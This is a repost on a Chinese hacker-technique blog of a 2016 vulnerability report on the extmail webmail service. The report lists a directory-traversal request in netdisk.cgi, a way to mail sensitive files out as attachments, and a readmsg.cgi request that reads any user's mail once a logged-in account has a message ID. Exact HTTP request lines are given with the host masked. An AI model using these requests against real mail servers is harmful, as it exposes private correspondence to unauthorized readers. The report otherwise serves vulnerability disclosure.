记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

extmail邮件服务存在漏洞读取任意用户邮件内容

2016-01-04 14:55

漏洞作者: 路人甲

简要描述:

1.网络磁盘 越权访问上层目录泄露文件名
2.通过添加附件将敏感文件发送到指定邮箱
3.获取邮件ID后读取任意邮件内容

详细说明:

漏洞1.

code 区域

GET http://**.**.**.**/extmail/cgi/netdisk.cgi?__mode=list_dir&sid=xxxxf&base=../.. HTTP/1.1

漏洞2.

19145505c47944d722e54805b6df863e27a70849[1]

漏洞3.

code 区域

GET http://**.**.**.**/extmail/cgi/readmsg.cgi?__mode=readmsg_sum&sid=xxxxxxxxxxxx&folder=Inbox&msgid=1425325541.M840749P12107V0000000000000802I00000000057872F9_0.mail2014,S=25968:2,S&pos=0 HTTP/1.1
sgid=1425325541.M840749P12107V0000000000000802I00000000057872F9_0.mail2014,S=25968:2,S

GET之后获取邮件内容。

sid=为登录后的标示

sgid 从获取的文件中读取

191506195eaf0584d3a67baa212a72a6441e369f[1]

以上操作普通账号登录后即可伪造

漏洞证明:

图1.

1914543696ddbb98cb1d7679771f147748de246c[1]

图2.

19145505c47944d722e54805b6df863e27a70849[1]

图3.

19145556be36a6480fca6f5c25c0d7efbfb2ab4f[1]

知识来源: 0day5.com/archives/3660

阅读:87250 | 评论:0 | 标签:Others extmail 漏洞 读取 邮件服务

想收藏或者和大家分享这篇好文章→复制链接地址

“extmail邮件服务存在漏洞读取任意用户邮件内容”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云